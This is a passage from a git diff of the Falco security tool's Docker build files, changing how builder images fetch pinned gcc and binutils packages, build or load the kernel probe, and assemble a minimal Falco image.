&& curl -L -o libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb \
|
||||
&& curl -L -o libisl15_0.18-4_${TARGETARCH}.deb https://download.falco.org/dependencies/libisl15_0.18-4_${TARGETARCH}.deb \
|
||||
&& dpkg -i cpp-5_5.5.0-12_${TARGETARCH}.deb gcc-5-base_5.5.0-12_${TARGETARCH}.deb gcc-5_5.5.0-12_${TARGETARCH}.deb libasan2_5.5.0-12_${TARGETARCH}.deb; \
|
||||
if [ "$TARGETARCH" = "amd64" ]; then dpkg -i libmpx0_5.5.0-12_${TARGETARCH}.deb; fi; \
|
||||
dpkg -i libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb libisl15_0.18-4_${TARGETARCH}.deb \
|
||||
&& rm -f cpp-5_5.5.0-12_${TARGETARCH}.deb gcc-5-base_5.5.0-12_${TARGETARCH}.deb gcc-5_5.5.0-12_${TARGETARCH}.deb libasan2_5.5.0-12_${TARGETARCH}.deb libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb libisl15_0.18-4_${TARGETARCH}.deb libmpx0_5.5.0-12_${TARGETARCH}.deb
|
||||
|
||||
# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
|
||||
# default to gcc-5.
|
||||
RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
|
||||
|
||||
RUN rm -rf /usr/bin/clang \
|
||||
&& rm -rf /usr/bin/llc \
|
||||
&& ln -s /usr/bin/clang-7 /usr/bin/clang \
|
||||
&& ln -s /usr/bin/llc-7 /usr/bin/llc
|
||||
|
||||
RUN curl -s https://falco.org/repo/falcosecurity-3672BA8F.asc | apt-key add - \
|
||||
&& echo "deb https://download.falco.org/packages/${VERSION_BUCKET} stable main" | tee -a /etc/apt/sources.list.d/falcosecurity.list \
|
||||
&& apt-get update -y \
|
||||
&& if [ "$FALCO_VERSION" = "latest" ]; then apt-get install -y --no-install-recommends falco; else apt-get install -y --no-install-recommends falco=${FALCO_VERSION}; fi \
|
||||
&& apt-get clean \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Change the falco config within the container to enable ISO 8601
|
||||
# output.
|
||||
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
|
||||
&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
|
||||
|
||||
# Some base images have an empty /lib/modules by default
|
||||
# If it's not empty, docker build will fail instead of
|
||||
# silently overwriting the existing directory
|
||||
RUN rm -df /lib/modules \
|
||||
&& ln -s $HOST_ROOT/lib/modules /lib/modules
|
||||
|
||||
# debian:stable head contains binutils 2.31, which generates
|
||||
# binaries that are incompatible with kernels < 4.16. So manually
|
||||
# forcibly install binutils 2.30-22 instead.
|
||||
|
||||
RUN if [ "$TARGETARCH" = "amd64" ] ; then \
|
||||
curl -L -o binutils-x86-64-linux-gnu_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-x86-64-linux-gnu_2.30-22_${TARGETARCH}.deb; \
|
||||
else \
|
||||
curl -L -o binutils-aarch64-linux-gnu_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-aarch64-linux-gnu_2.30-22_${TARGETARCH}.deb; \
|
||||
fi
|
||||
|
||||
RUN curl -L -o binutils_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils_2.30-22_${TARGETARCH}.deb \
|
||||
&& curl -L -o libbinutils_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/libbinutils_2.30-22_${TARGETARCH}.deb \
|
||||
&& curl -L -o binutils-common_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-common_2.30-22_${TARGETARCH}.deb \
|
||||
&& dpkg -i *binutils*.deb \
|
||||
&& rm -f *binutils*.deb
|
||||
|
||||
COPY ./docker-entrypoint.sh /
|
||||
|
||||
ENTRYPOINT ["/docker-entrypoint.sh"]
|
||||
|
||||
CMD ["/usr/bin/falco"]
|
||||
38
docker/kernel/linuxkit/Dockerfile
Normal file
38
docker/kernel/linuxkit/Dockerfile
Normal file
@@ -0,0 +1,38 @@
|
||||
ARG ALPINE_VERSION=3.10
|
||||
ARG KERNEL_VERSION=4.9.184
|
||||
ARG FALCO_VERSION=0.19.0
|
||||
|
||||
FROM linuxkit/kernel:${KERNEL_VERSION} AS ksrc
|
||||
FROM falcosecurity/falco:${FALCO_VERSION}-minimal as falco
|
||||
FROM alpine:${ALPINE_VERSION} AS probe-build
|
||||
LABEL maintainer="opensource@sysdig.com"
|
||||
ARG KERNEL_VERSION=4.9.184
|
||||
ARG FALCO_VERSION=0.19.0
|
||||
ENV FALCO_VERSION=${FALCO_VERSION}
|
||||
ENV KERNEL_VERSION=${KERNEL_VERSION}
|
||||
|
||||
COPY --from=ksrc /kernel-dev.tar /
|
||||
COPY --from=falco /usr/src/falco-${FALCO_VERSION} /usr/src/falco-${FALCO_VERSION}
|
||||
|
||||
RUN apk add --no-cache --update \
|
||||
build-base gcc abuild binutils \
|
||||
bc \
|
||||
autoconf && \
|
||||
export KERNELVER=`uname -r | cut -d '-' -f 1` && \
|
||||
export KERNELDIR=/usr/src/linux-headers-${KERNEL_VERSION}-linuxkit/ && \
|
||||
tar xf /kernel-dev.tar && \
|
||||
cd $KERNELDIR && \
|
||||
zcat /proc/1/root/proc/config.gz > .config && \
|
||||
make olddefconfig && \
|
||||
cd /usr/src/falco-${FALCO_VERSION} && \
|
||||
make && \
|
||||
apk del \
|
||||
build-base gcc abuild binutils \
|
||||
bc \
|
||||
autoconf
|
||||
|
||||
FROM alpine:${ALPINE_VERSION}
|
||||
ARG FALCO_VERSION=0.19.0
|
||||
ENV FALCO_VERSION=${FALCO_VERSION}
|
||||
COPY --from=probe-build /usr/src/falco-${FALCO_VERSION}/falco-probe.ko /
|
||||
CMD ["insmod","/falco-probe.ko"]
|
||||
18
docker/kernel/probeloader/Dockerfile
Normal file
18
docker/kernel/probeloader/Dockerfile
Normal file
@@ -0,0 +1,18 @@
|
||||
FROM golang:1.13-alpine AS build
|
||||
ARG FALCOCTL_REF=2be3df92edbac668284fe5c165ccb5bd6bf4e869
|
||||
|
||||
RUN apk --no-cache add build-base git gcc ca-certificates
|
||||
|
||||
RUN git clone https://github.com/falcosecurity/falcoctl.git /falcoctl
|
||||
|
||||
WORKDIR /falcoctl
|
||||
|
||||
RUN git checkout ${FALCOCTL_REF}
|
||||
RUN go mod vendor
|
||||
RUN CGO_ENABLED=0 GOOS=linux go build -a -o falcoctl -ldflags '-extldflags "-static"' .
|
||||
|
||||
FROM scratch
|
||||
LABEL maintainer="opensource@sysdig.com"
|
||||
COPY --from=build /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/ca-certificates.crt
|
||||
COPY --from=build /falcoctl/falcoctl /falcoctl
|
||||
CMD ["/falcoctl", "install", "probe"]
|
||||
@@ -1,9 +1,7 @@
|
||||
FROM debian:buster
|
||||
FROM debian:unstable
|
||||
|
||||
LABEL usage="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
|
||||
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
|
||||
|
||||
ARG TARGETARCH
|
||||
LABEL maintainer="opensource@sysdig.com"
|
||||
|
||||
ARG FALCO_VERSION=
|
||||
RUN test -n FALCO_VERSION
|
||||
@@ -15,112 +13,102 @@ ENV HOME /root
|
||||
|
||||
RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
|
||||
|
||||
ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
|
||||
|
||||
RUN apt-get update \
|
||||
&& apt-get install -y --no-install-recommends \
|
||||
bash-completion \
|
||||
bc \
|
||||
clang-7 \
|
||||
ca-certificates \
|
||||
curl \
|
||||
dkms \
|
||||
gnupg2 \
|
||||
gcc \
|
||||
jq \
|
||||
libc6-dev \
|
||||
libelf-dev \
|
||||
libyaml-0-2 \
|
||||
llvm-7 \
|
||||
netcat \
|
||||
xz-utils \
|
||||
libmpc3 \
|
||||
binutils \
|
||||
libgomp1 \
|
||||
libitm1 \
|
||||
libatomic1 \
|
||||
liblsan0 \
|
||||
libtsan0 \
|
||||
libcc1-0 \
|
||||
patchelf \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
&& apt-get install -y --no-install-recommends \
|
||||
bash-completion \
|
||||
bc \
|
||||
clang-7 \
|
||||
ca-certificates \
|
||||
curl \
|
||||
dkms \
|
||||
gnupg2 \
|
||||
gcc \
|
||||
jq \
|
||||
libc6-dev \
|
||||
libelf-dev \
|
||||
libyaml-0-2 \
|
||||
llvm-7 \
|
||||
netcat \
|
||||
xz-utils \
|
||||
libmpc3 \
|
||||
binutils \
|
||||
libgomp1 \
|
||||
libitm1 \
|
||||
libatomic1 \
|
||||
liblsan0 \
|
||||
libtsan0 \
|
||||
libmpx2 \
|
||||
libquadmath0 \
|
||||
libcc1-0 \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
RUN if [ "$TARGETARCH" = "amd64" ]; \
|
||||
then apt-get install -y --no-install-recommends libmpx2 libquadmath0; \
|
||||
fi
|
||||
|
||||
# gcc 6 is no longer included in debian stable, but we need it to
|
||||
# gcc 6 is no longer included in debian unstable, but we need it to
|
||||
# build kernel modules on the default debian-based ami used by
|
||||
# kops. So grab copies we've saved from debian snapshots with the
|
||||
# prefix https://snapshot.debian.org/archive/debian/20170517T033514Z
|
||||
# or so.
|
||||
|
||||
RUN if [ "$TARGETARCH" = "amd64" ]; then curl -L -o libcilkrts5_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libcilkrts5_6.3.0-18_${TARGETARCH}.deb; fi; \
|
||||
curl -L -o cpp-6_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/cpp-6_6.3.0-18_${TARGETARCH}.deb \
|
||||
&& curl -L -o gcc-6-base_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-6-base_6.3.0-18_${TARGETARCH}.deb \
|
||||
&& curl -L -o gcc-6_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-6_6.3.0-18_${TARGETARCH}.deb \
|
||||
&& curl -L -o libasan3_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libasan3_6.3.0-18_${TARGETARCH}.deb \
|
||||
&& curl -L -o libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb \
|
||||
&& curl -L -o libubsan0_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libubsan0_6.3.0-18_${TARGETARCH}.deb \
|
||||
&& curl -L -o libmpfr4_3.1.3-2_${TARGETARCH}.deb https://download.falco.org/dependencies/libmpfr4_3.1.3-2_${TARGETARCH}.deb \
|
||||
&& curl -L -o libisl15_0.18-1_${TARGETARCH}.deb https://download.falco.org/dependencies/libisl15_0.18-1_${TARGETARCH}.deb \
|
||||
&& dpkg -i cpp-6_6.3.0-18_${TARGETARCH}.deb gcc-6-base_6.3.0-18_${TARGETARCH}.deb gcc-6_6.3.0-18_${TARGETARCH}.deb libasan3_6.3.0-18_${TARGETARCH}.deb; \
|
||||
if [ "$TARGETARCH" = "amd64" ]; then dpkg -i libcilkrts5_6.3.0-18_${TARGETARCH}.deb; fi; \
|
||||
dpkg -i libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb libubsan0_6.3.0-18_${TARGETARCH}.deb libmpfr4_3.1.3-2_${TARGETARCH}.deb libisl15_0.18-1_${TARGETARCH}.deb \
|
||||
&& rm -f cpp-6_6.3.0-18_${TARGETARCH}.deb gcc-6-base_6.3.0-18_${TARGETARCH}.deb gcc-6_6.3.0-18_${TARGETARCH}.deb libasan3_6.3.0-18_${TARGETARCH}.deb libcilkrts5_6.3.0-18_${TARGETARCH}.deb libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb libubsan0_6.3.0-18_${TARGETARCH}.deb libmpfr4_3.1.3-2_${TARGETARCH}.deb libisl15_0.18-1_${TARGETARCH}.deb
|
||||
RUN curl -o cpp-6_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/cpp-6_6.3.0-18_amd64.deb \
|
||||
&& curl -o gcc-6-base_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/gcc-6-base_6.3.0-18_amd64.deb \
|
||||
&& curl -o gcc-6_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/gcc-6_6.3.0-18_amd64.deb \
|
||||
&& curl -o libasan3_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libasan3_6.3.0-18_amd64.deb \
|
||||
&& curl -o libcilkrts5_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libcilkrts5_6.3.0-18_amd64.deb \
|
||||
&& curl -o libgcc-6-dev_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libgcc-6-dev_6.3.0-18_amd64.deb \
|
||||
&& curl -o libubsan0_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libubsan0_6.3.0-18_amd64.deb \
|
||||
&& curl -o libmpfr4_3.1.3-2_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libmpfr4_3.1.3-2_amd64.deb \
|
||||
&& curl -o libisl15_0.18-1_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libisl15_0.18-1_amd64.deb \
|
||||
&& dpkg -i cpp-6_6.3.0-18_amd64.deb gcc-6-base_6.3.0-18_amd64.deb gcc-6_6.3.0-18_amd64.deb libasan3_6.3.0-18_amd64.deb libcilkrts5_6.3.0-18_amd64.deb libgcc-6-dev_6.3.0-18_amd64.deb libubsan0_6.3.0-18_amd64.deb libmpfr4_3.1.3-2_amd64.deb libisl15_0.18-1_amd64.deb \
|
||||
&& rm -f cpp-6_6.3.0-18_amd64.deb gcc-6-base_6.3.0-18_amd64.deb gcc-6_6.3.0-18_amd64.deb libasan3_6.3.0-18_amd64.deb libcilkrts5_6.3.0-18_amd64.deb libgcc-6-dev_6.3.0-18_amd64.deb libubsan0_6.3.0-18_amd64.deb libmpfr4_3.1.3-2_amd64.deb libisl15_0.18-1_amd64.deb
|
||||
|
||||
# gcc 5 is no longer included in debian stable, but we need it to
|
||||
# gcc 5 is no longer included in debian unstable, but we need it to
|
||||
# build centos kernels, which are 3.x based and explicitly want a gcc
|
||||
# version 3, 4, or 5 compiler. So grab copies we've saved from debian
|
||||
# snapshots with the prefix https://snapshot.debian.org/archive/debian/20190122T000000Z.
|
||||
|
||||
RUN if [ "$TARGETARCH" = "amd64" ]; then curl -L -o libmpx0_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libmpx0_5.5.0-12_${TARGETARCH}.deb; fi; \
|
||||
curl -L -o cpp-5_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/cpp-5_5.5.0-12_${TARGETARCH}.deb \
|
||||
&& curl -L -o gcc-5-base_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-5-base_5.5.0-12_${TARGETARCH}.deb \
|
||||
&& curl -L -o gcc-5_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-5_5.5.0-12_${TARGETARCH}.deb \
|
||||
&& curl -L -o libasan2_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libasan2_5.5.0-12_${TARGETARCH}.deb \
|
||||
&& curl -L -o libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb \
|
||||
&& curl -L -o libisl15_0.18-4_${TARGETARCH}.deb https://download.falco.org/dependencies/libisl15_0.18-4_${TARGETARCH}.deb \
|
||||
&& dpkg -i cpp-5_5.5.0-12_${TARGETARCH}.deb gcc-5-base_5.5.0-12_${TARGETARCH}.deb gcc-5_5.5.0-12_${TARGETARCH}.deb libasan2_5.5.0-12_${TARGETARCH}.deb; \
|
||||
if [ "$TARGETARCH" = "amd64" ]; then dpkg -i libmpx0_5.5.0-12_${TARGETARCH}.deb; fi; \
|
||||
dpkg -i libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb libisl15_0.18-4_${TARGETARCH}.deb \
|
||||
&& rm -f cpp-5_5.5.0-12_${TARGETARCH}.deb gcc-5-base_5.5.0-12_${TARGETARCH}.deb gcc-5_5.5.0-12_${TARGETARCH}.deb libasan2_5.5.0-12_${TARGETARCH}.deb libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb libisl15_0.18-4_${TARGETARCH}.deb libmpx0_5.5.0-12_${TARGETARCH}.deb
|
||||
RUN curl -o cpp-5_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/cpp-5_5.5.0-12_amd64.deb \
|
||||
&& curl -o gcc-5-base_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-5-base_5.5.0-12_amd64.deb \
|
||||
&& curl -o gcc-5_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-5_5.5.0-12_amd64.deb \
|
||||
&& curl -o libasan2_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libasan2_5.5.0-12_amd64.deb \
|
||||
&& curl -o libgcc-5-dev_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libgcc-5-dev_5.5.0-12_amd64.deb \
|
||||
&& curl -o libisl15_0.18-4_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libisl15_0.18-4_amd64.deb \
|
||||
&& curl -o libmpx0_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libmpx0_5.5.0-12_amd64.deb \
|
||||
&& dpkg -i cpp-5_5.5.0-12_amd64.deb gcc-5-base_5.5.0-12_amd64.deb gcc-5_5.5.0-12_amd64.deb libasan2_5.5.0-12_amd64.deb libgcc-5-dev_5.5.0-12_amd64.deb libisl15_0.18-4_amd64.deb libmpx0_5.5.0-12_amd64.deb \
|
||||
&& rm -f cpp-5_5.5.0-12_amd64.deb gcc-5-base_5.5.0-12_amd64.deb gcc-5_5.5.0-12_amd64.deb libasan2_5.5.0-12_amd64.deb libgcc-5-dev_5.5.0-12_amd64.deb libisl15_0.18-4_amd64.deb libmpx0_5.5.0-12_amd64.deb
|
||||
|
||||
# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
|
||||
# default to gcc-5.
|
||||
RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
|
||||
|
||||
RUN rm -rf /usr/bin/clang \
|
||||
&& rm -rf /usr/bin/llc \
|
||||
&& ln -s /usr/bin/clang-7 /usr/bin/clang \
|
||||
&& ln -s /usr/bin/llc-7 /usr/bin/llc
|
||||
&& rm -rf /usr/bin/llc \
|
||||
&& ln -s /usr/bin/clang-7 /usr/bin/clang \
|
||||
&& ln -s /usr/bin/llc-7 /usr/bin/llc
|
||||
|
||||
# Some base images have an empty /lib/modules by default
|
||||
# If it's not empty, docker build will fail instead of
|
||||
# silently overwriting the existing directory
|
||||
RUN rm -df /lib/modules \
|
||||
&& ln -s $HOST_ROOT/lib/modules /lib/modules
|
||||
&& ln -s $HOST_ROOT/lib/modules /lib/modules
|
||||
|
||||
ADD falco-${FALCO_VERSION}-*.deb /
|
||||
RUN dpkg -i /falco-${FALCO_VERSION}-$(uname -m).deb
|
||||
ADD falco-${FALCO_VERSION}-x86_64.deb /
|
||||
RUN dpkg -i /falco-${FALCO_VERSION}-x86_64.deb
|
||||
|
||||
# Change the falco config within the container to enable ISO 8601
|
||||
# output.
|
||||
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
|
||||
&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
|
||||
&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
|
||||
|
||||
# debian:stable head contains binutils 2.31, which generates
|
||||
# debian:unstable head contains binutils 2.31, which generates
|
||||
# binaries that are incompatible with kernels < 4.16. So manually
|
||||
# forcibly install binutils 2.30-22 instead.
|
||||
RUN if [ "$TARGETARCH" = "amd64" ] ; then \
|
||||
curl -L -o binutils-x86-64-linux-gnu_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-x86-64-linux-gnu_2.30-22_${TARGETARCH}.deb; \
|
||||
else \
|
||||
curl -L -o binutils-aarch64-linux-gnu_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-aarch64-linux-gnu_2.30-22_${TARGETARCH}.deb; \
|
||||
fi
|
||||
|
||||
RUN curl -L -o binutils_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils_2.30-22_${TARGETARCH}.deb \
|
||||
&& curl -L -o libbinutils_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/libbinutils_2.30-22_${TARGETARCH}.deb \
|
||||
&& curl -L -o binutils-common_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-common_2.30-22_${TARGETARCH}.deb \
|
||||
&& dpkg -i *binutils*.deb \
|
||||
&& rm -f *binutils*.deb
|
||||
RUN curl -s -o binutils_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils_2.30-22_amd64.deb \
|
||||
&& curl -s -o libbinutils_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libbinutils_2.30-22_amd64.deb \
|
||||
&& curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
|
||||
&& curl -s -o binutils-common_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils-common_2.30-22_amd64.deb \
|
||||
&& dpkg -i *binutils*.deb \
|
||||
&& rm -f *binutils*.deb
|
||||
|
||||
# The local container also copies some test trace files and
|
||||
# corresponding rules that are used when running regression tests.
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#!/usr/bin/env bash
|
||||
#
|
||||
# Copyright (C) 2020 The Falco Authors.
|
||||
# Copyright (C) 2019 The Falco Authors.
|
||||
#
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
@@ -16,19 +16,19 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
# set -e
|
||||
|
||||
# Set the SKIP_DRIVER_LOADER variable to skip loading the driver
|
||||
# Set the SKIP_MODULE_LOAD variable to skip loading the kernel module
|
||||
|
||||
if [[ -z "${SKIP_DRIVER_LOADER}" ]]; then
|
||||
if [[ -z "${SKIP_MODULE_LOAD}" ]]; then
|
||||
echo "* Setting up /usr/src links from host"
|
||||
|
||||
for i in "$HOST_ROOT/usr/src"/*
|
||||
do
|
||||
base=$(basename "$i")
|
||||
ln -s "$i" "/usr/src/$base"
|
||||
ln -s "$i" "/usr/src/$i"
|
||||
done
|
||||
|
||||
/usr/bin/falco-driver-loader
|
||||
/usr/bin/falco-probe-loader
|
||||
fi
|
||||
|
||||
exec "$@"
|
||||
exec "$@"
|
||||
@@ -1,7 +1,13 @@
|
||||
include(copy_files_to_build_dir)
|
||||
|
||||
# Note: list of rules is created at cmake time, not build time
|
||||
file(GLOB test_rule_files
|
||||
"${CMAKE_CURRENT_SOURCE_DIR}/../../../test/rules/*.yaml")
|
||||
|
||||
copy_files_to_build_dir("${test_rule_files}" docker-local-rules)
|
||||
foreach(rule_file_path ${test_rule_files})
|
||||
get_filename_component(rule_file ${rule_file_path} NAME)
|
||||
add_custom_target(docker-local-rule-${rule_file} ALL
|
||||
DEPENDS ${CMAKE_CURRENT_BINARY_DIR}/${rule_file})
|
||||
add_custom_command(OUTPUT ${CMAKE_CURRENT_BINARY_DIR}/${rule_file}
|
||||
COMMAND ${CMAKE_COMMAND} -E copy ${rule_file_path} ${CMAKE_CURRENT_BINARY_DIR}/${rule_file}
|
||||
DEPENDS ${rule_file_path})
|
||||
endforeach()
|
||||
|
||||
|
||||
@@ -1,7 +1,13 @@
|
||||
include(copy_files_to_build_dir)
|
||||
|
||||
# Note: list of traces is created at cmake time, not build time
|
||||
file(GLOB test_trace_files
|
||||
"${CMAKE_CURRENT_SOURCE_DIR}/../../../test/trace_files/*.scap")
|
||||
|
||||
copy_files_to_build_dir("${test_trace_files}" docker-local-traces)
|
||||
foreach(trace_file_path ${test_trace_files})
|
||||
get_filename_component(trace_file ${trace_file_path} NAME)
|
||||
add_custom_target(docker-local-trace-${trace_file} ALL
|
||||
DEPENDS ${CMAKE_CURRENT_BINARY_DIR}/${trace_file})
|
||||
add_custom_command(OUTPUT ${CMAKE_CURRENT_BINARY_DIR}/${trace_file}
|
||||
COMMAND ${CMAKE_COMMAND} -E copy ${trace_file_path} ${CMAKE_CURRENT_BINARY_DIR}/${trace_file}
|
||||
DEPENDS ${trace_file_path})
|
||||
endforeach()
|
||||
|
||||
|
||||
58
docker/minimal/Dockerfile
Normal file
58
docker/minimal/Dockerfile
Normal file
@@ -0,0 +1,58 @@
|
||||
FROM ubuntu:18.04 as ubuntu
|
||||
|
||||
LABEL maintainer="opensource@sysdig.com"
|
||||
|
||||
ARG FALCO_VERSION=0.19.0
|
||||
|
||||
ENV FALCO_VERSION=${FALCO_VERSION}
|
||||
|
||||
WORKDIR /
|
||||
|
||||
ADD https://s3.amazonaws.com/download.draios.com/stable/tgz/x86_64/falco-${FALCO_VERSION}-x86_64.tar.gz /
|
||||
|
||||
# ADD will download from URL and unntar
|
||||
RUN apt-get update && \
|
||||
apt-get install -y libyaml-0-2 binutils && \
|
||||
# curl -O https://s3.amazonaws.com/download.draios.com/stable/tgz/x86_64/falco-${FALCO_VERSION}-x86_64.tar.gz && \
|
||||
tar xfzv falco-${FALCO_VERSION}-x86_64.tar.gz && \
|
||||
rm -f falco-${FALCO_VERSION}-x86_64.tar.gz && \
|
||||
mv falco-${FALCO_VERSION}-x86_64 falco && \
|
||||
strip falco/usr/bin/falco && \
|
||||
apt-get clean && \
|
||||
rm -rf /var/lib/apt/lists/*
|
||||
|
||||
FROM scratch
|
||||
|
||||
COPY --from=ubuntu /lib/x86_64-linux-gnu/libanl.so.1 \
|
||||
/lib/x86_64-linux-gnu/libc.so.6 \
|
||||
/lib/x86_64-linux-gnu/libdl.so.2 \
|
||||
/lib/x86_64-linux-gnu/libgcc_s.so.1 \
|
||||
/lib/x86_64-linux-gnu/libm.so.6 \
|
||||
/lib/x86_64-linux-gnu/libnsl.so.1 \
|
||||
/lib/x86_64-linux-gnu/libnss_compat.so.2 \
|
||||
/lib/x86_64-linux-gnu/libnss_files.so.2 \
|
||||
/lib/x86_64-linux-gnu/libnss_nis.so.2 \
|
||||
/lib/x86_64-linux-gnu/libpthread.so.0 \
|
||||
/lib/x86_64-linux-gnu/librt.so.1 \
|
||||
/lib/x86_64-linux-gnu/libz.so.1 \
|
||||
/lib/x86_64-linux-gnu/
|
||||
|
||||
COPY --from=ubuntu /usr/lib/x86_64-linux-gnu/libstdc++.so.6 \
|
||||
/usr/lib/x86_64-linux-gnu/libstdc++.so.6
|
||||
|
||||
COPY --from=ubuntu /usr/lib/x86_64-linux-gnu/libyaml-0.so.2.0.5 \
|
||||
/usr/lib/x86_64-linux-gnu/libyaml-0.so.2
|
||||
|
||||
COPY --from=ubuntu /etc/ld.so.cache \
|
||||
/etc/nsswitch.conf \
|
||||
/etc/ld.so.cache \
|
||||
/etc/passwd \
|
||||
/etc/group \
|
||||
/etc/
|
||||
|
||||
COPY --from=ubuntu /etc/default/nss /etc/default/nss
|
||||
COPY --from=ubuntu /lib64/ld-linux-x86-64.so.2 /lib64/ld-linux-x86-64.so.2
|
||||
|
||||
COPY --from=ubuntu /falco /
|
||||
|
||||
CMD ["/usr/bin/falco", "-o", "time_format_iso_8601=true"]
|
||||
@@ -1,35 +0,0 @@
|
||||
FROM ubuntu:18.04 as ubuntu
|
||||
|
||||
ARG FALCO_VERSION
|
||||
ARG VERSION_BUCKET=bin
|
||||
|
||||
ENV FALCO_VERSION=${FALCO_VERSION}
|
||||
ENV VERSION_BUCKET=${VERSION_BUCKET}
|
||||
|
||||
RUN apt-get -y update && apt-get -y install gridsite-clients curl
|
||||
|
||||
WORKDIR /
|
||||
|
||||
RUN curl -L -o falco.tar.gz \
|
||||
https://download.falco.org/packages/${VERSION_BUCKET}/$(uname -m)/falco-$(urlencode ${FALCO_VERSION})-$(uname -m).tar.gz && \
|
||||
tar -xvf falco.tar.gz && \
|
||||
rm -f falco.tar.gz && \
|
||||
mv falco-${FALCO_VERSION}-$(uname -m) falco && \
|
||||
rm -rf /falco/usr/src/falco-* /falco/usr/bin/falco-driver-loader
|
||||
|
||||
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /falco/etc/falco/falco.yaml > /falco/etc/falco/falco.yaml.new \
|
||||
&& mv /falco/etc/falco/falco.yaml.new /falco/etc/falco/falco.yaml
|
||||
|
||||
FROM debian:11-slim
|
||||
|
||||
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
|
||||
|
||||
